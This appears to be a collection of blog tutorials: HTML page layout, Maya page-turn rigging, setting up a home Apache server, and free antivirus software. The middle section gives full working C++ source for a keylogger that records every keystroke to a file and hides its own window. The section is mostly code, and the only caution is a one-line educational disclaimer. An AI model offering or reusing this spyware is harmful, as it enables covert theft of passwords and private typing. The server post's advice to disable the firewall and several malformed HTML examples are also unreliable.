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How To Create My Own Web Page Using Html Code

Creating a simple webpage in HTML. Before you start coding, let me assume the following facts,
You know simple html tags like, HTML, BODY, TITLE, HEAD, TABLE, LISTS, etc. and some parameters like, WIDTH, HEIGHT, COLOR, BORDER, CELLSPACING, PADDING, etc.
Lets make a simple HTML page format as below:

To do so, we’ll be using TABLE, H1,H2, FONTS, HYPERLINKS, LISTS, HR etc.
Open up the notepad save it as “webpage.html” (with quotes)
And then create a table with similar format:

Your page will contain Page header, Navgation bar, Footer, Contents part.
To create a table similar to the format above, use the following tags.
<html>
<head>
<title>Page title</title></head>
<table width=”100%” cellpadding=”10″>
<tr width=”100% valign=”top”><h2> PAGE HEADER </h2>
<td width=”20%” valign=”top”>
NAVIGATION BAR
</td>
<td width=”80%” valign=”top”>
CONTENTS PART
</td>
<tr width=”100%” valign=”top”>FOOTER PART</tr>
</html>
Now you have the basic layout ready. The things we need now is to fill the blank tables with appropriate contents.
For example:
<html>
<body>
<table width=”100%” cellpadding=”10″>
<!– page title ->
<tr width=”100% valign=”top”><h2>Page Title</h2>
<!– end of page title ->
<hr>
</tr>
<tr>
<!– Navigation bar ->
<td width=”20%” valign=”top”>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About Us</a></li>
<li><a href=”#”>Feedback</a></li>
<li><a href=”#”>Contact</a></li>
</ul>
</td>
<!– End of Navigation ->
<!– Body Contents ->
<td width=”80%” valign=”top”>
YOUR Contents goes here, type your text, insert hyperlinks, lists, images here to beautify your web page.
</td>
<!– End of contents ->
</tr>
</table>
<!– footer notes ->
<tr width=”100%” valign=”top”><p align=”center”>Copyright Footer note</P></tr>
<!– end of footer notes ->
</body>
</html>
The above code will give output in your browser as we’ve planned to (see the first image). Playing with the tags makes you further clear and adapted to web designing using HTML.

Adding images and other hyperlinks.
After making simple page, you can add images, colored fonts, hyperlinks etc to make it more user friendly.
You can use <a href=”#”> and <img src=”#”/> tags to include hyper links and images.
See the example below(put it under the content body tag):
<a href=”http://www.google.com”>
<img border=”0″ src=”http://www.google.com.np/intl/en_com/images/logo_plain.png”/>
</a>
<h3>is the most popular search engine in this world.</h3>
<br/>
<a href=”http://www.google.com”>Click here</a> to go to Google.com
In the above example, Google’s logo image will be loaded using, <img> tag and that tag is enveloped under <a href> tag which enables the image to be clicked.
Similarly you can envelope text to create hyperlinks.
You can also change the size and font colors by applying the following syntax.
<FONT COLOR=”color_name” size=”size_in_number”>FONT TO BE FORMATED</FONT>

To create lists of texts or navigation,
Example:
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About Us</a></li>
<li><a href=”#”>Feedback</a></li>
<li><a href=”#”>Contact</a></li>
</ul>
<ul> tag creates a list block and <li> lists them in proper line break. In above example, we’ve listed the text with hyperlinks.
After tweaking and playing with the tags you may get the good result.
For instance take the sample from below:
<html>
<body>
<table width=”100%” cellpadding=”10″>
<!– page title ->
<tr width=”100% valign=”top”><h2>Page Title</h2>
<!– end of page title ->
<hr>
</tr>
<tr>
<!– Navigation bar ->
<td width=”20%” valign=”top”>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About Us</a></li>
<li><a href=”#”>Feedback</a></li>
<li><a href=”#”>Contact</a></li>
</ul>
</td>
<!– End of Navigation ->
<!– Body Contents ->
<td width=”80%” valign=”top”>
<a href=”http://www.google.com”><img border=”0″ src=”http://www.google.com.np/intl/en_com/images/logo_plain.png”/></a><h3>
is the most popular search engine in this world.</h3>
<br/>
<a href=”http://www.google.com”>Click here</a> to go to <Font color=”green” size=“2”>Google.com</font>
</td>
<!– End of contents ->
</tr>
</table>
<!– footer notes ->
<tr width=”100%” valign=”top”><p align=”center”>Copyright Footer note</P></tr>
<!– end of footer notes ->
</body>
</html>
It will show you the page like this:

Hope this tutorial gave you some basic idea of designing webpage using notepad and HTML.

How To Make A Keylogger

Wanna learn how to make your own keylogger ? Here is step by step tuorial that will help you to make a keylogger in C++ using dev-c++, it can also be done in codegear c++ builder, Visual studio and similar.
Keylogger is simple stealth software that sits between keyboard hardware and the operating system, so that it can record every key stroke

How to install DevC++ and run .cpp file

1) Download Dev C++ from this link and install it


2)Launch Dev C++ , Click on File-> New-> Project

3)Choose empty project, type name of project for example MyKeylogger and select C++ Project

4)Right click on project name and click New File,

after this will appear field where you should type code , to execute code click on Execute->Compile & Run or press F9

How To Make A Keylogger in Dev C++

Open Keylogger.cpp and Write this in it.
#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.

Make a main function .(The main function will be the first that will be executed.)
int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'

while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

Under that we will write our keylogger so it will also recognize special keys like the ‘spacebar’ and stuff.
If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/
int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

Now we going to add Stealth to it.
Under the latest code add again
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

So thats it, you wrote your first keylogger
Full Code:

#include
using namespace std;
#include
#include

int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

The content in this article is presented for educational purposes only.
If you do not like programming below you can download one of the best keyloggers called EuroCron Spy

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Creating Simple Page Turn Animation In Maya

If you want to have a page turn animation of thick pages then it is a lot easier. But if you are thinking about the thin pages turning animation then you’ll need different method to do that.
We’ll be introducing with bones that works exactly as a human bone.
Let’s begin with the tutorial.
Create a polygon plane or NURBS plane.

Resize it to give it a shape of a single page sheet. Now move the left end of the page to the centre of the grid. To do this, hold down D and V together and click and drag red pivot (x-axis) towards the end line of the left side of page.

Now release the D and V and again hold X and drag it towards the centre of the grid.

After you are done placing, your work will look like the image above. Now increase the subdivisions along both axes.

Now go to the attributes and create a new empty layer. If you got confused to create a new layer. Click on the attributes editor.


After the new layer has been added, in default it will be named as layer1.
Now select the page sheet model and left click on layer1. After layer1 is highlighted, hold down right click and select Add selected objects.

Now to make the object non-movable but transparent, give a single click on the blank box at the right side of ‘V’ in the layer (V is for the visibility of the layer). It will show ‘T’ (T is for the transparency).

Now the page sheet is ready. Next, we are going to add bones to the page sheet.
Press F2 or select Animation from the Status Line bar.

On the menu bar go to Skeleton > Joint Tool.

Your cursor will change in to ‘Plus’ sign if you drag it to the perspective screen.
Now create and arrange joints similar to the image below.

Please note that the joint begins from the left part of the page. Hold down X to place the first and second bone. Also remember that, the first and second bone must be arranged in a same axis (in this case it is X- axis were Y will be 0 for both first and second bones).

In the time line slider change the frame visibility limit to 100, as shown in the figure.

Remove the transparency of the layer1 by clicking T twice (not double clicking, it will show blank if the transparency and locking is removed).
First select the page sheet and then Shift select joint1. Then bind the skin from the skin menu.(Refer to the image below)

Now rigging part of the page is done.
Lets animate it.
Select the first joint (joint1) and select the first frame and press on ‘S’ button to set the key frame where all the scale, translate and rotate value is 0.
Again with joint1 selected, go to 100 frame and change the rotate Z value to 180 and press S again.
Now our job will only be to set the keys.
Therefore refer to the following table.
Joint name Frame number Rotation Z
Joint1 1 0
Joint1 100 180
Joint2 45 17
Joint3 40 17
Joint4 35 17
Joint5 30 30
Joint6 Joint6 25 65 30 7
Joint7 Joint7 20 80 25 -4
Joint8 15 20
Joint9 10 15
Press “S” button every time after setting the Rotate Z value.
When you animate it, you won’t be satisfied because of the page left edges moving along with the bone (the left part of the page is fixed on the book binding). Therefore we’ll be needing a simple weight paint job.

Select the page sheet model.
Go to Skin>Edit smooth bind>Paint Skin weights tool> option box. (refer to the following image).

It will load the paint attributes on the right side bar.

Select joint1 as in above image, the page sheet will look similar to below.

Hold down B and left click and drag left or right to resize the brush.
Now paint the brush which will give similar look to the image below.

Select the desired function to add, remove, replace or smooth the paint.

After you are done painting, select smooth brush (refer to image above) and brush over it 3-4 times.
Now animate it. You’ll see the page turning smoothly without any error. To make it more natural apply paint tool to all the joints.
Hope this tutorial was much helpful for basic rigging and animation of a page sheet. You can further copy the page sheet to have multiple pages.

Home HTTP Server – How to create one Server

In this tutorial we will see how to create an HTTP server. A web server is software installed on a computer that allows other computers to access specific files on that computer/server. There are many reasons to create your own home servers. For example: file sharing, so you can download files from your home computer from anywhere or you can create a web site on own server etc. Simply said It works like this; You choose a directory on your computer , in that directory add folders, files like music,video and etc. When you put the IP address of your computer the in web browser you can see all the files from that folder and you can download those files. Let’s now create a server(HTTP server!) using Apache(a server client):

1. You must have:
  • Broadband internet connection always on
  • Windows on your computer
2. Create a folder on your disc , in this example I created a folder on E:\my server
3. Download apache_2.2.10-win32-x86-no_ssl.msi and install it, set parameters( for localhost type something like a myserver.com(doesn’t really matter), also type your email address in field “Administrator@ Email Address” ) as shown below, choose where you want to install it.

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4..When you install Apache , go to directory where you installed it (p.e. “C:\Program Files\Apache Software Foundation\Apache2.2\conf”) , here you will find a httpd file.
Open that file with notepad.


After this will appear notepad with long and complicated code, don´t worry, you must change just 3 things.
5. In notepad file find #DocumentRoot “C:/Program Files/Apache Group/Apache2/htdocs” and replace with #DocumentRoot “E:\my server”. Also find #<Directory  “C:/Program Files/Apache Group/Apache2/htdocs” and replace with <Directory  “E:\my server”.  E:\my server is folder where you put files which will appear on your server. In this example I created that folder on local disc E:. You can create your folder in any other place, but then type that path here. Find #AllowOverride None and change to AllowOverride All.
Change selected code




After this, save file like httpd.conf.

6. Type in web addresses http://localhost/ or your IP Address, you should see something like this


Every files you put in folder , which we created in step 2 , will be shown on http://localhost/
7. If you want access own server from other computers. You must forward a port in the router we’re using. The port we need to forward is port number 80. Why? Because by default it’s the port used for HTTP. Port forwarding actually means opening a tunnel through the router so that the router wouldn’t reject the connections that are trying to connect to it. How to port-forward? With every router it’s different. Here are the instructions for every one of them. You must also turn off you firewall.
That is all. Enjoy your home server. If you have questions, post them in the comments area.
Note: Creating home server is risky,when you open port, there is a possibility to have someone a breach in your computer .Before you start, make sure your computer has all the latest patches and security updates, and that you’ve done a thorough spyware and virus scan. This tutorial is only for advanced users

Download Best Free Antivirus Software

To protect own computer from viruses, trojan, worm and similar threats, you should use a high-quality anti-virus software. Not using anti-virus software leaves you open to viruses, which may lead to more malware invading your system. Make sure that you install only one anti-virus software, doing otherwise will cause severe system instability.Here comes frequently asked question: Which anti-virus should I use?Many of us pay a lot of money to buy anti-virus software, but this is so unnecessary, because there are plenty of good free anti-virus software that offer the same kind of protection as the boxed software you can buy at the store.To help you out, I decided to provide you the list of top 9 free anti-virus. Let’s begin with it.
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If you know any free anti-virus software that I didn’t mention, please write a comment, and I will add it.

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